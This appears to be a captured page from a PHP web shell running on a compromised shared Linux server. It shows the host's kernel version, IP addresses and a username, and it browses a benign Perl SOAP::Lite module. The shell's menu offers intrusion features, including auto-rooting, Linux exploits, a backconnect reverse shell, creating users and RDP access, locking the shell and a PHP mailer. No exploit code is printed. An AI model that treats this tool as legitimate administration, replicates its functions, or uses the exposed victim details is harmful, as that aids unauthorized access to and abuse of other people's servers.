Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
SOAP /
Lite /
Deserializer /
[ HOME SHELL ]
Name
Size
Permission
Action
XMLSchema1999.pm
1.22
KB
-rw-r--r--
XMLSchema2001.pm
1.26
KB
-rw-r--r--
XMLSchemaSOAP1_1.pm
953
B
-rw-r--r--
XMLSchemaSOAP1_2.pm
848
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : XMLSchemaSOAP1_1.pm
package SOAP::Lite::Deserializer::XMLSchemaSOAP1_1; use strict; our $VERSION = '1.27'; # VERSION sub anyTypeValue { 'ur-type' } sub as_boolean { shift; my $value = shift; $value eq '1' || $value eq 'true' ? 1 : $value eq '0' || $value eq 'false' ? 0 : die "Wrong boolean value '$value'\n" } sub as_base64 { shift; require MIME::Base64; MIME::Base64::decode_base64(shift) } sub as_ur_type { $_[1] } sub as_anyURI { $_[1] } BEGIN { no strict 'refs'; for my $method (qw( string float double decimal timeDuration recurringDuration uriReference integer nonPositiveInteger negativeInteger long int short byte nonNegativeInteger unsignedLong unsignedInt unsignedShort unsignedByte positiveInteger timeInstant time timePeriod date month year century recurringDate recurringDay language )) { my $name = 'as_' . $method; *$name = sub { $_[1] } } } 1;
Close
